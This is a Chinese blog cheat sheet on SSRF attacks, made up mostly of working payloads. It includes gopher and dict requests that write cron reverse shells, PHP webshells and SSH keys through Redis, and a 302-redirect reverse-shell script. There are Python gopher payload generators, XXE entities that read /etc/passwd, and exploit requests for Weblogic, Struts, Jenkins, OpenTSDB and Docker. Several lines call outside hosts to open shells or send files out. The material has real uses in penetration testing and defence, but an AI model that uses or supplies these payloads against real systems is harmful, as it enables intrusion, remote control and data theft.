devbox
正经夜光杯
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

WEB渗透Web突破篇-SSRF

作者：正经夜光杯 | 2024-08-04 18:24:59

赞

踩

WEB渗透Web突破篇-SSRF
定义
  1. 服务端请求伪造
  2. 构造一个由服务器发出请求的漏洞
  3. 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
成因
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
挖掘
  1. 转码服务
  2. 在线翻译
  3. 获取超链接的标题等内容进行显示
  4. 请求远程服务器资源的地方，图片加载与下载(通过URL地址加载或下载图片)
  5. 图片、文章收藏功能
  6. 对外发起网络请求的地方，网站采集、网页抓取的地方。
  7. 头像 (远程加载头像)
  8. 一切要你输入网址的地方和可以输入ip的地方。
  9. 数据库内置功能(mongodb的copyDatabase函数)
  10. 邮件系统
  11. 文件处理
  12. 在线处理工具
  13. 从URL关键字中寻找：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
利用工具
  1. https://github.com/swisskyrepo/SSRFmap
  2. https://github.com/tarunkant/Gopherus
  3. https://github.com/In3tinct/See-SURF
  4. https://github.com/teknogeek/ssrf-sheriff
XML
  1. <!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
  2. <!ENTITY % file system "file:///etc/passwd" >
  3. <!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
  4. <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">
  5. <xenc:AgreementMethod Algorithm= "http://wuyun.org/1">
  6. <xenc:EncryptionProperty Target= "http://wuyun.org/2">
  7. <xenc:CipherReference URI= "http://wuyun.org/3">
  8. <xenc:DataReference URI= "http://wuyun.org/4">
  9. <Reference URI="http://wuyun.org/5">
  10. <To xmlns="http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
  11. <ReplyTo xmlns="http://www.w3.org/2005/08/addressing">
  12. <Address>http://wuyun.org/rto</Address>
  13. <input message="wooyun" wsa:Action="http://wuyun.org/ip" />
  14. <output message="wooyun" wsa:Action="http://wuyun.org/op" />
  15. <wsp:PolicyReference URI=“http://wuyun.org/pr">
  16. <fed:Federation FederationID="http://wuyun.org/fid">
  17. <fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
  18. <fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
  19. <mex:MetadataReference>
  20. <wsa:Address>http://wuyun.org/mex</wsa:Address>
  21. </mex:MetadataReference>
  22. <edmx:Reference URI="http://wuyun.org/edmxr">
  23. <edmx:AnnotationsReference URI="http://wuyun.org/edmxa">
  24. <xbrli:identifier scheme="http://wuyun.org/xbr">
  25. <link:roleType roleURI="http://wuyun.org/role">
  26. <stratml:Source>http://wuyun.org/stml</stratml:Source>
数据库
MongoDB
  1. db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
PostgresSQL
  1. SELECT dblink_send_query(
  2.  'host=127.0.0.1 
  3. dbname=quit 
  4. user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' 
  5. password=1 port=6379 sslmode=disable', 
  6. 'select version();’ 
  7. );
MSSQL
  1. SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master')
  2. SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
图片处理函数
  1. FFmpeg
  2. concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
  3. ImageMagick
  4. fill 'url(http://wyssrf.wuyun.org)'
攻击
  1. 测试代码,需安装phpcurl模块apt-get install php7.0-curl
  2. <?php
  3. echo 'r u ok?';
  4. function curl($url){  
  5.   $ch = curl_init();
  6.   curl_setopt($ch, CURLOPT_URL, $url);
  7.   curl_setopt($ch, CURLOPT_HEADER, 0);
  8.   curl_exec($ch);
  9.   curl_close($ch);
  10. }
  11. $url = $_GET['url'];
  12. curl($url);
  13. ?>
  14. 对内网、本地进行端口扫描，获取服务的banner 信息
  15. 攻击运行在内网或本地的应用程序
  16. 对内网 WEB 应用进行指纹识别，通过访问默认文件实现(如：readme文件)
  17. 攻击内外网的 web 应用，主要是使用 GET 参数就可以实现的攻击(如：Struts2，sqli)
  18. 读取内网资源(如：利用file协议读取本地文件等)
  19. 跳板
  20. 无视cdn
  21. 利用Redis未授权访问，HTTP CRLF注入实现getshell
文件读取
>curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'

image

?url=php://filter/read=convert.base64-encode/resource=./1.php
端口探测
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'

image

>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'

image

SSRF+Redis
>curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

image

image

  1. 获取webshell
  2. url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
  3. url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
  4. url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
  5. url=dict://127.0.0.1:6379/SAVE
  6.  
  7. 获取php反向shell
  8. gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
  9. gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
  10. gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
  11. gopher://127.0.0.1:6379/_save
302反弹shell
  1. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall
  2. 302.php
  3. <?php
  4. $ip = $_GET['ip'];
  5. $port = $_GET['port'];
  6. $scheme = $_GET['s'];
  7. $data = $_GET['data'];
  8. header("Location: $scheme://$ip:$port/$data");
  9. ?>
  10. ?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234
  11. reverse.php
  12. <?php
  13. $ip = $_GET['ip'];
  14. $port = $_GET['port'];
  15. $bhost = $_GET['bhost'];
  16. $bport = $_GET['bport'];
  17. $scheme = $_GET['s'];
  18. header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
  19. ?>
  20. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/
  21. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root
  22. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save
  23. 可设置burp–>intruder指定变量跑。
Mysql
  1. https://github.com/FoolMitAh/mysql_gopher_attack
  2. https://fireshellsecurity.team/isitdtu-friss/
Weblogic SSRF+Redis
  1. 探测
  2. /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
  3. Redis反弹
  4. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
  5. config set dir /etc/
  6. config set dbfilename crontab
  7. save
  8. /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  9. SSRF+内网Struct2
  10. http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/
Ueditor SSRF
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
探测存活主机
  1. 直接访问
  2. http://www.xx.com/ssrf.php?url=http://192.168.0.1

image

  1. 伪造POST请求
  2. >curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
gopher协议的脚本转换
  1. 抓取本地测试的正常请求
  2. >socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379

image

image

  1. 将捕获日志保存txt
  2. 使用脚本转换为支持gopher协议的字符串
  3. 转换规则
  4. 如果第一个字符是>或者< 那么丢弃该行字符串，表示请求和返回的时间。
  5. 如果前3个字符是+OK 那么丢弃该行字符串，表示返回的字符串。
  6. 将\r字符串替换成%0d%0a
  7. 空白行替换为%0a

image

本地可执行

image

  1. 远程执行需对空格进行编码后再url编码一次
  2. *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

image

image

image

协议
  1. Curl版本需低于7.15.1
  2. file:可回显时，使用file读取任意文件
  3. dict:查看端口，操作内网服务
  4. gopher:可发出get/post请求
  5. 使用gopher协议时，要进行两次url编码
  6. http/https:探测存活主机
  7. SFTP：ssrf.php?url=sftp://evil.com:11111/
  8. TFTP：ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
  9. LDAP：ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
  10. netdoc：ssrf.php?url=netdoc:///etc/passwd
dict协议写shell
  1. ?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?>
  2. ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
  3. ?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php
  4. ?url=dict://127.0.0.1:6379/save
  5. Unicode编码
  6. ?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"
slaveof复制shell到目标
  1. From:http://r3start.net/index.php/2020/05/09/683
  2. 你的redis设置一个shell的键
  3. Yourredis>FLUSHALL
  4. Yourredis>set shell "<?php phpinfo();?>"
  5. ?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379
  6. ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
  7. ?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
  8. ?url=dict://127.0.0.1:6379/save
  9. ?url=dict://127.0.0.1:6379/slaveof:no:one
slaveof反弹shell
  1. ?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379
  2. ?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
  3. ?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
  4. ?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
  5. ?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
  6. ?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
  7. ?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
SSRF+PDF
  1. <link rel=attachment href="file:///root/secret.txt">
  2. PhantomJS示例
  1. <script>
  2.     exfil = new XMLHttpRequest();
  3.     exfil.open("GET","file:///etc/passwd");
  4.     exfil.send();
  5.     exfil.onload = function(){document.write(this.responseText);}
  6.     exfil.onerror = function(){document.write('failed!')}
  7. </script>
盲SSRF
假设存在一个盲SSRF
Elasticsearch
  1. 默认端口：9200
  2. 检查以下端点是否返回 200：
  3. /_cluster/health
  4. /_cat/indices
  5. /_cat/health
  6. 如果存在POST请求的盲SSRF，可以请求以下路径关闭Elasticsearch
  7. 仅适用于 Elasticsearch 1.6 及以下版本
  8. /_shutdown
  9. /_cluster/nodes/_master/_shutdown
  10. /_cluster/nodes/_shutdown
  11. /_cluster/nodes/_all/_shutdown
Weblogic
  1. 默认绑定端口：80、443（SSL）、7001、8888
  2. CVE-2014-4210
  3. POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
  4. Host: target.com
  5. Content-Length: 137
  6. Content-Type: application/x-www-form-urlencoded
  7.  
  8. operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
  9. get请求
  10. http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
  11. CRLF 注入
  12. GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
  13. Host: vuln.weblogic
  14. Accept-Encoding: gzip, deflate
  15. Accept: */*
  16. Accept-Language: en
  17. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
  18. Connection: close
  19. 结果
  20. root@mail:~# nc -lvp 4000
  21. Listening on [0.0.0.0] (family 0, port 4000)
  22. Connection from example.com 43111 received!
  23. POST /exp HTTP/1.11
  24. X-CLRF: Injected HTTP/1.1
  25. Content-Type: text/xml; charset=UTF-8
  26. soapAction: ""
  27. Content-Length: 418
  28. User-Agent: Java1.6.0_24
  29. Host: attacker.com:4000
  30. Accept: text/html, image/gif, image/jpeg, */*; q=.2
  31. Connection: Keep-Alive
  32.  
  33. <?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
  34. CVE-2020-14883
  35. Linux
  36. POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
  37. Host: vulnerablehost:7001
  38. Upgrade-Insecure-Requests: 1
  39. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
  40. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  41. Accept-Encoding: gzip, deflate
  42. Accept-Language: zh-CN,zh;q=0.9
  43. Connection: close
  44. Content-Type: application/x-www-form-urlencoded
  45. Content-Length: 117
  46.  
  47. _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
  48. Windows
  49. POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
  50. Host: vulnerablehost:7001
  51. Upgrade-Insecure-Requests: 1
  52. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
  53. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  54. Accept-Encoding: gzip, deflate
  55. Accept-Language: zh-CN,zh;q=0.9
  56. Connection: close
  57. Content-Type: application/x-www-form-urlencoded
  58. Content-Length: 117
  59.  
  60. _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Hashicorp Consul
  1. 默认绑定端口：80、443（SSL）、8080
  2. https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
Shellshock
  1. 默认绑定端口：80、443（SSL）、8080
  2. CGI路径
  3. https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4
  4. 通过User-Agent的 Shellshock
  5. User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY
Apache Druid
  1. 如果可以查看状态码，请检查以下路径是否返回 200 状态码
  2. /status/selfDiscovered/status
  3. /druid/coordinator/v1/leader
  4. /druid/coordinator/v1/metadata/datasources
  5. /druid/indexer/v1/taskStatus
  6. 关闭任务，需要猜测任务 ID 或数据源名称
  7. /druid/indexer/v1/task/{taskId}/shutdown
  8. /druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
  9. 关闭Apache Druid Overlords的supervisors 
  10. /druid/indexer/v1/supervisor/terminateAll
  11. /druid/indexer/v1/supervisor/{supervisorId}/shutdown
Apache Solr
  1. 默认绑定端口：8983
  2. /search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
  3. /solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
  4. /xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
  5. /xxx?q=aaa&shards=http://SSRF_CANARY/solr
  6. Solr XXE (2017)
  7. /solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
  8. /xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
  9. 通过 dataImportHandler 进行 RCE
  10. https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler
PeopleSoft
  1. https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
  2. XXE #1
  3. POST /PSIGW/HttpListeningConnector HTTP/1.1
  4. Host: website.com
  5. Content-Type: application/xml
  6. ...
  7.  
  8. <?xml version="1.0"?>
  9. <!DOCTYPE IBRequest [
  10. <!ENTITY x SYSTEM "http://SSRF_CANARY">
  11. ]>
  12. <IBRequest>
  13.    <ExternalOperationName>&x;</ExternalOperationName>
  14.    <OperationType/>
  15.    <From><RequestingNode/>
  16.       <Password/>
  17.       <OrigUser/>
  18.       <OrigNode/>
  19.       <OrigProcess/>
  20.       <OrigTimeStamp/>
  21.    </From>
  22.    <To>
  23.       <FinalDestination/>
  24.       <DestinationNode/>
  25.       <SubChannel/>
  26.    </To>
  27.    <ContentSections>
  28.       <ContentSection>
  29.          <NonRepudiation/>
  30.          <MessageVersion/>
  31.          <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
  32.          </Data>
  33.       </ContentSection>
  34.    </ContentSections>
  35. </IBRequest>
  36. XXE #2
  37. POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
  38. Host: website.com
  39. Content-Type: application/xml
  40. ...
  41.  
  42. <!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Apache Struts
  1. 默认绑定端口：80,443 (SSL),8080,8443 (SSL)
  2. Struts2-016
  3. ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
JBOSS
  1. 默认绑定端口：80,443 (SSL),8080,8443 (SSL)
  2. /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
Confluence
  1. 默认绑定端口：80,443 (SSL),8080,8443 (SSL)
  2. 2016 年 11 月及之前发布的 Confluence 版本
  3. /rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
  4. CVE-2017-9506
  5. /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Jira
  1. 默认绑定端口：80,443 (SSL),8080,8443 (SSL)
  2. CVE-2017-9506
  3. /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
  4. CVE-2019-8451
  5. /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
其他 Atlassian 产品
  1. 默认绑定端口：80,443 (SSL),8080,8443 (SSL)
  2. CVE-2017-9506
  3. /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
OpenTSDB
  1. 默认绑定端口：4242
  2. https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html
  3. curl via RCE
  4. /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
  5. CVE-2020-35476
  6. /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Jenkins
  1. CVE-2018-1000600
  2. /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
  3. RCE
  4. /org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
  5. 通过 Groovy 进行 RCE
  6. cmd = 'curl burp_collab'
  7. pay = 'public class x {public x(){"%s".execute()}}' % cmd
  8. data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
Hystrix
  1. 默认绑定端口：80,443 (SSL),8080
  2. CVE-2020-5412
  3. /proxy.stream?origin=http://SSRF_CANARY/
W3 Total Cache
  1. 默认绑定端口：80,443 (SSL)
  2. CVE-2019-6715
  3. PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
  4. Host: {{Hostname}}
  5. Accept: */*
  6. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
  7. Content-Length: 124
  8. Content-Type: application/x-www-form-urlencoded
  9. Connection: close
  10.  
  11. {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
  12. https://klikki.fi/adv/w3_total_cache.html
  13. <?php
  14.  
  15. $url='http://www.google.com';
  16. $file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
  17. $file=chop($file,'=');
  18. $req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
  19. echo($req);
  20.  
  21. ?>
Docker
  1. 使用以下路径来验证 Docker 的 API 的存在
  2. /containers/json
  3. /secrets
  4. /services
  5. RCE
  6. POST /containers/create?name=test HTTP/1.1
  7. Host: website.com
  8. Content-Type: application/json
  9. ...
  10.  
  11. {"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Gitlab Prometheus Redis Exporter
  1. 默认绑定端口：9121
  2. 影响版本 13.1.1 之前的 Gitlab 实例
  3. 以下端点将允许攻击者转储通过 target 参数提供的 redis 服务器中的所有密钥：
  4. http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
Redis
  1. 计划任务RCE
  2. redis-cli -h $1 flushall
  3. echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
  4. redis-cli -h $1 config set dir /var/spool/cron/
  5. redis-cli -h $1 config set dbfilename root
  6. redis-cli -h $1 save
  7.  
  8. gopher
  9. gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
  10.  
  11. 上传shell
  12. https://www.mdeditor.tw/pl/pBy0
  1. #!/usr/bin/env python
  2. # -*-coding:utf-8-*-
  3.  
  4. import urllib
  5. protocol="gopher://"
  6. ip="192.168.189.208"
  7. port="6379" 
  8. shell="\n\n<?php phpinfo();?>\n\n"
  9. filename="shell.php"
  10. path="/var" 
  11. passwd=""
  12.  
  13. cmd=["flushall",
  14.      "set 1 {}".format(shell.replace(" ","${IFS}")),
  15.      "config set dir {}".format(path),
  16.      "config set dbfilename {}".format(filename),
  17.      "save"
  18.      ]
  19. if passwd:
  20.     cmd.insert(0,"AUTH {}".format(passwd))
  21. payload=protocol+ip+":"+port+"/_"
  22. def redis_format(arr):
  23.     CRLF="\r\n"
  24.     redis_arr = arr.split(" ")
  25.     cmd=""
  26.     cmd+="*"+str(len(redis_arr))
  27.     for x in redis_arr:
  28.         cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  29.     cmd+=CRLF
  30.     return cmd
  31.  
  32. if __name__=="__main__":
  33.     for x in cmd:
  34.         payload += urllib.quote(redis_format(x))
  35.     print payload
authorized_keys

  1. import urllib
  2. protocol="gopher://"
  3. ip="192.168.189.208"
  4. port="6379"
  5. # shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
  6. sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
  7. filename="authorized_keys"
  8. path="/root/.ssh/"
  9. passwd=""
  10. cmd=["flushall",
  11.      "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
  12.      "config set dir {}".format(path),
  13.      "config set dbfilename {}".format(filename),
  14.      "save"
  15.      ]
  16. if passwd:
  17.     cmd.insert(0,"AUTH {}".format(passwd))
  18. payload=protocol+ip+":"+port+"/_"
  19. def redis_format(arr):
  20.     CRLF="\r\n"
  21.     redis_arr = arr.split(" ")
  22.     cmd=""
  23.     cmd+="*"+str(len(redis_arr))
  24.     for x in redis_arr:
  25.         cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  26.     cmd+=CRLF
  27.     return cmd
  28.  
  29. if __name__=="__main__":
  30.     for x in cmd:
  31.         payload += urllib.quote(redis_format(x))
  32.     print payload
通过 Git 协议在 GitLab 上进行 RCE

